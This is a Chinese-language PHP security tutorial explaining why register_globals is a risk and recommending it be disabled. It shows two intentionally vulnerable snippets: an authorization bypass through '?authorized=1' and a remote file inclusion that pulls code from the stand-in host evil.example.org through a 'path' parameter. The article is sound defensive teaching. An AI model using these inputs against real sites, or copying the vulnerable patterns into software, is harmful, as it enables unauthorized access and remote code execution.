register_globals参数在 PHP 的 4.2.0 及以上版本中默认为屏蔽。虽然这并不认为是一个安全漏洞，但是的确是一个安全风险。因此，应该始终在开发过程中屏蔽register_globals。
为什么这是一个安全风险？
每一种情形都需要的单独说明才能描述清楚，对于所有情形只给出一个恰当的例子是非常困难的。不管怎样，最常见的例子是在PHP手册中描述的：
<?php
if (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';}
?>
当参数register_globals开启的时候，这个页面可以使用?authorized=1的参数访问，从而绕过访问控制。当然，这个明显的漏洞是糟糕的开发造成的，而不是register_globals的原因，但是这明显增加了产生危险漏洞的可能。消除了这个影响，普通的全局变量（比如本例中的$authorized）将不再受到客户端提交的数据的影响。最好的方式是初始化全部变量并且将参数error_reporting设置为E_ALL，这样使用未初始化的变量就不会在开发的时候被忽略。
另外一个关于register_globals的例子是在使用include包含动态路径的时候可能产生问题：
<?php include "$path/script.php";?>
当参数register_globals开启的时候，这个页面可以使用?path=http%3A%2F%2Fevil.example.org%2F%3F的参数访问，使得本例中的代码和下面的代码等同：
<?phpinclude 'http://evil.example.org/?/script.php';?>
如果参数allow_url_fopen开启的时候（即便是在php.ini-recommended中，默认也是开启的），这将如同包含本地文件一般包含http://evil.example.org/这样的远程文件。这是一个常见的安全漏洞，甚至在一些非常著名的开源项目中都发现。
初始化$path可以避免这个隐患，而且不用屏蔽参数register_globals。然而开发人员的失误可能会产生没有初始化的变量，修改全局配置以屏蔽参数register_globals可以尽可能的避免这种隐患被忽视。
便利性总是另人愉快的，过去我们不得不手工区分哪些是表单数据，哪些是普通变量。而使用$_POST和$_GET内建全局数组也是非常方便的，并且承担因为开启参数register_globals造成的风险很不值得。虽然我完全不同意将开启参数register_globals等同于薄弱的安全，但是我还是强烈建议将其设置为关闭。
需要补充说明的是，屏蔽参数register_globals会帮助开发人员更加留意数据的来源，而这正是一个有安全意识的开发人员所应该具备的素质。